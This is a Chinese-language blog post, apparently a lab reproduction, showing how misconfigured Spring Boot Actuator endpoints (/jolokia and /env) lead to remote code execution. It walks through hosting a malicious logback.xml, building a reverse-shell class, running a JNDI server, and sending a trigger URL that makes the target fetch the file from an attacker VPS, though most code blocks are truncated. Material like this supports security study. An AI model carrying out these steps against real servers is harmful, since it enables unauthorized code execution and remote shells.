Spring Boot Actuators配置不当导致RCE漏洞复现
漏洞分析源地址:
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
关于springboot监控可以参考以下文章:
https://www.freebuf.com/news/193509.html
测试环境,原作者提供的github:
https://github.com/artsploit/actuator-testbed
复现过程:
1.Remote Code Execution via ‘/jolokia’
前置条件:
在jolokia/list目录检索存在logback组件,则可以使用jolokia远程包含logback.xml配置文件,直接执行远程引用字节码:
https://127.0.0.1:9090/jolokia/list
1)在VPS上创建logback.xml,logback中填写jndi服务,当调用时直接触发恶意class。
1
|
<configuration>
|
2)创建反弹shell的恶意class,并监听端口8081
javac Exploit.java -> Exploit.class
3)利用marshalsec创建jndi server地址指向恶意class监听的端口8081:
4)监听反弹shell端口:
4)访问springboot以下链接触发远程访问VPS地址logback.xml:
https://127.0.0.1:9090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/VPS地址:8080!/logback.xml
触发回显2333端口接收到主机whomai结果:
2. Config modification via ‘/env’
当第一种找不到logback配置可以尝试修改env配置文件进行xstream反序列化
前置条件:
Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
比如测试前台json报错泄露包名就是使用netflix:
需要以下2个包
1
|
spring-boot-starter-actuator(/refresh刷新配置需要)
|
1)在VPS创建xstream文件,使用flask返回application/xml格式数据:
1
|
# -*- coding: utf-8 -*-
|
2)启动服务:
1
|
python3 flask_xstream.py
|
3)写入配置:
1
|
POST /env HTTP/1.1
|
刷新触发[POST]:
一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用。
获取反弹shell:
安全措施可参考:
如无特殊说明,均为原创内容。转载请注明出处!